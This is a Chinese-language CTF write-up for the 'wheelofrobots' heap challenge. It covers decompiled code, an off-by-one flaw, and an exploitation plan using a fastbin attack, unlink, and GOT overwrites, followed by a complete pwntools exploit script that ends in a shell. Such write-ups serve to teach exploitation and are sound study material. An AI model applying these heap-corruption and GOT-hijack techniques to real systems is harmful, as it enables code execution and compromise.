64位程序,没开PIE #unlink #off by one #fastbin attack
程序逻辑
大概分析程序,可以得知,这是一个配置机器人轮子的游戏,机器人一共需要添加 3 个轮子。
程序非常依赖的一个功能是读取整数,该函数 read_int 是读取指定的长度,将其转化为 int 类型的数字。
一共有 6 个轮子可以选择
1 void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) 2 { 3 FILE *v3; // rdi 4 unsigned int v4; // eax 5 6 setvbuf(stdout, 0LL, 2, 0LL); 7 v3 = stdin; 8 setvbuf(stdin, 0LL, 2, 0LL); 9 sub_40174B(v3, 0LL); 10 sub_400A86(); 11 qword_603130 = 0LL; 12 while ( 1 ) 13 { 14 while ( 1 ) 15 { 16 puts_menu(); 17 printf("Your choice : "); 18 memset(&unk_603110, 0, 4uLL); 19 v4 = read_int(&unk_603110, 4uLL); 20 if ( v4 != 2 ) 21 break; 22 delete(); 23 } 24 if ( v4 > 2 ) 25 { 26 if ( v4 == 3 ) 27 { 28 change_name(); 29 } 30 else if ( v4 == 4 ) 31 { 32 start_wheel(); 33 } 34 } 35 else if ( v4 == 1 ) 36 { 37 add(); 38 } 39 } 40 }
add函数
1 unsigned __int64 add() 2 { 3 _WORD *v0; // rax 4 _WORD *v1; // rax 5 _DWORD *v2; // rax 6 _DWORD *v3; // rax 7 _QWORD *v4; // rax 8 unsigned int v5; // ST08_4 9 _WORD *v6; // rax 10 unsigned int v8; // [rsp+8h] [rbp-18h] 11 unsigned int v9; // [rsp+8h] [rbp-18h] 12 int v10; // [rsp+Ch] [rbp-14h] 13 char s; // [rsp+10h] [rbp-10h] 14 unsigned __int64 v12; // [rsp+18h] [rbp-8h] 15 16 v12 = __readfsqword(0x28u); 17 sub_400D83("Which robot do you want to add to the wheel?"); 18 printf("Your choice :"); 19 memset(&unk_603110, 0, 4uLL); 20 v10 = read_int(&unk_603110, 5uLL); //off by one,覆盖idx2->inuse 21 if ( (unsigned __int64)qword_603130 <= 2 ) 22 { 23 switch ( v10 ) 24 { 25 case 1: 26 if ( !dword_603120 ) 27 { 28 buf = calloc(1uLL, 0x14uLL); 29 dword_603120 = 1; 30 v0 = buf; 31 *(_QWORD *)buf = 7589726977941989716LL; 32 v0[4] = 109; 33 ++qword_603130; 34 } 35 break; 36 case 2: 37 if ( !dword_603114 ) 38 { 39 printf("Increase Bender's intelligence: ", 5LL); 40 memset(&s, 0, 5uLL); 41 v8 = read_int(&s, 5uLL); 42 if ( v8 > 4 ) 43 { 44 puts("Sorry impossible to make bender as smart!"); 45 v8 = 2; 46 } 47 qword_6030F0 = calloc(1uLL, 20 * v8); 48 qword_603138 = v8; 49 dword_603114 = 1; 50 v1 = qword_6030F0; 51 *(_DWORD *)qword_6030F0 = 1684956482; 52 v1[2] = 29285; 53 *((_BYTE *)v1 + 6) = 0; 54 ++qword_603130; 55 } 56 break; 57 case 3: 58 if ( !dword_603124 ) 59 { 60 printf("Increase Robot Devil's cruelty: ", 5LL); 61 memset(&s, 0, 5uLL); 62 v9 = read_int(&s, 5uLL); 63 if ( v9 > 0x63 ) 64 { 65 puts("You are crazy!!"); 66 v9 = 20; 67 } 68 qword_603100 = calloc(1uLL, 20 * v9); 69 qword_603140 = v9; 70 dword_603124 = 1; 71 v2 = qword_603100; 72 *(_QWORD *)qword_603100 = 7296992980704063314LL; 73 v2[2] = 7104886; 74 ++qword_603130; 75 } 76 break; 77 case 4: 78 if ( !dword_603118 ) 79 { 80 qword_6030E0 = calloc(1uLL, 0xFA0uLL); 81 v3 = qword_6030E0; 82 *(_QWORD *)qword_6030E0 = 7877675831787612227LL; 83 v3[2] = 1919249263; 84 *((_BYTE *)v3 + 12) = 0; 85 dword_603118 = 1; 86 ++qword_603130; 87 } 88 break; 89 case 5: 90 if ( !dword_603128 ) 91 { 92 qword_603108 = calloc(1uLL, 0x9C40uLL); 93 v4 = qword_603108; 94 *(_QWORD *)qword_603108 = 7020671367698475330LL; 95 v4[1] = 32773427100480105LL; 96 dword_603128 = 1; 97 ++qword_603130; 98 } 99 break; 100 case 6: 101 if ( !dword_60311C ) 102 { 103 printf("Increase Destructor's powerful: ", 5LL); 104 memset(&s, 0, 5uLL); 105 v5 = read_int(&s, 5uLL); 106 qword_6030E8 = calloc(1uLL, 20 * v5); 107 qword_603148 = v5; 108 dword_60311C = 1; 109 v6 = qword_6030E8; 110 *(_QWORD *)qword_6030E8 = 8386676065534436676LL; 111 v6[4] = 29295; 112 *((_BYTE *)v6 + 10) = 0; 113 ++qword_603130; 114 } 115 break; 116 default: 117 return __readfsqword(0x28u) ^ v12; 118 } 119 } 120 else 121 { 122 puts("Wheel Of Robots is Full!"); 123 } 124 return __readfsqword(0x28u) ^ v12; 125 }
内存分布如下
1 0x6030E0 ptr_idx4 2 0x6030E8 ptr_idx6 3 0x6030F0 ptr_idx2 4 0x6030F8 ptr_idx1 5 0x603100 ptr_idx3 6 0x603108 ptr_idx5 7 0x603110 choice 8 0x603114 idx2_inuse 9 0x603118 idx4_inuse 10 0x60311c idx6_inuse 11 0x603120 idx1_inuse 12 0x603124 idx3_inuse 13 0x603128 idx5_inuse <-fake_fastbin_chunk 14 0x603130 num <-0x20 15 0x603138 idx2_size 16 0x603140 idx3_size 17 0x603148 idx6_size
利用思路
- 利用 off by one 漏洞与 fastbin attack 分配 chunk 到 0x603138,进而可以控制 idx6
_size
的大小,从而实现任意长度堆溢出。这里我们将轮子 idx1 分配到这里。 - 分别分配合适大小的物理相邻的 chunk,其中包括 destructor。借助上面可以任意长度堆溢出的漏洞,对 destructor 对应的 chunk 进行溢出,将其溢出到下一个物理相邻的 chunk,从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果,这时 bss 段的 destructor 指向 0x6030D0。从而,我们可以再次实现覆盖 bss 段几乎所有的内容。
- 构造一个任意地址写的漏洞。通过上述的漏洞将已经分配的轮子idx1 指针覆盖为 idx6 的地址,那么此后编辑 idx1 即在编辑 idx6的内容,进而当我们再次编辑 idx6 时就相当于任意低地址写。
- 由于程序只是在最后启动机器人的时候,才会随机输出一些轮子的内容,并且一旦输出,程序就会退出,由于这部分我们并不能控制,所以我们将
exit()
patch 为一个ret
地址。这样的话,我们就可以多次输出内容了,从而可以泄漏一些 got 表地址。(也可以将某个got覆盖为puts_plt,用puts泄露地址) - 在泄漏了相应的内容后,我们便可以得到 libc 基地址,system 地址,进而我们修改atoi@got 为 system 地址。菜单选择时输入‘sh\x00’(或者'$0\x00',只能输入4字节,这里不能用'/bin/sh\x00',),便可以启动 shell。
expolit
1 from pwn import * 2 sh=process('./wheelofrobots') 3 elf=ELF('./wheelofrobots') 4 libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') 5 6 def add(idx,size=0): 7 sh.recvuntil('Your choice :') 8 sh.sendline('1') 9 sh.recvuntil('Your choice :') 10 sh.sendline(str(idx)) 11 if idx==2: 12 sh.recvuntil("Increase Bender's intelligence: ") 13 sh.sendline(str(size)) 14 elif idx==3: 15 sh.recvuntil("Increase Robot Devil's cruelty: ") 16 sh.sendline(str(size)) 17 elif idx==6: 18 sh.recvuntil("Increase Destructor's powerful: ") 19 sh.sendline(str(size)) 20 21 def remove(idx): 22 sh.recvuntil('Your choice :') 23 sh.sendline('2') 24 sh.recvuntil('Your choice :') 25 sh.sendline(str(idx)) 26 27 def chname(idx,name): 28 sh.recvuntil('Your choice :') 29 sh.sendline('3') 30 sh.recvuntil('Your choice :') 31 sh.sendline(str(idx)) 32 sh.recvuntil("Robot's name: \n") 33 sh.send(name) 34 35 def start_robot(): 36 sh.recvuntil('Your choice :') 37 sh.sendline('4') 38 39 def overflow_benderinuse(inuse): 40 sh.recvuntil('Your choice :') 41 sh.sendline('1') 42 sh.recvuntil('Your choice :') 43 sh.send('9999'+inuse) 44 45 def write(where,what): 46 chname(1,p64(where)) 47 chname(6,p64(what)) 48 49 #step 1 make fake_fastbin_chunk in 0x603138 50 add(2,1) 51 remove(2) 52 #add 0x20 to fastbin 53 overflow_benderinuse('\x01') 54 chname(2,p64(0x603138)) 55 #fd=0x603138 56 #0x20 fastbin: idx2->0x603138->NULL 57 overflow_benderinuse('\x00') 58 add(2,1) 59 #0x603140=0x20 -> size=0x20 pass the fastbin size check 60 add(3,0x20) 61 add(1) 62 #idx1 point to 0x603148 63 #num<=3 64 remove(2) 65 remove(3) 66 67 #step 2 unlink 68 add(6,3) #size=20*3=60=0x3C->0x40 69 add(3,7) #size=20*7=140=0x8C ->0x90 not fastbin 70 chname(1,p64(1000))#idx6->size=1000 71 72 fakechunk_adr=0x6030E8 73 fakechunk=p64(0)+p64(0x20)+p64(fakechunk_adr-0x18)+p64(fakechunk_adr-0x10) 74 fakechunk+=p64(0x20) 75 fakechunk=fakechunk.ljust(0x40,'a') 76 fakechunk+=p64(0x40) 77 fakechunk+=p64(0xa0) #0x90+0x10 78 chname(6,fakechunk) 79 remove(3) 80 #*(0x6030E8)=0x6030D0 81 #idx6->0x6030D0 82 83 #step3 84 payload=p64(0)*2+0x18*'a'+p64(0x6030E8) 85 chname(6,payload) 86 #*(0x6030F8)=0x6030E8 87 #idx1->0x6030E8 88 89 #step4 exit=ret 90 write(elf.got['exit'],0x401954) 91 92 #step5 puts_adr->libc_base->system_adr 93 write(0x603130,3)#set num=3 to start robot 94 chname(1,p64(elf.got['puts'])) 95 start_robot() 96 sh.recvuntil('New hands great!! Thx ') 97 puts_adr=sh.recvuntil('!\n', drop=True).ljust(8, '\x00') 98 puts_adr=u64(puts_adr) 99 libc_base=puts_adr-libc.symbols['puts'] 100 system_adr=libc_base+libc.symbols['system'] 101 #print 'libc_base: '+hex(libc_base)) 102 write(elf.got['atoi'],system_adr) 103 sh.recvuntil('Your choice :') 104 sh.sendline('sh\x00') 105 sh.interactive()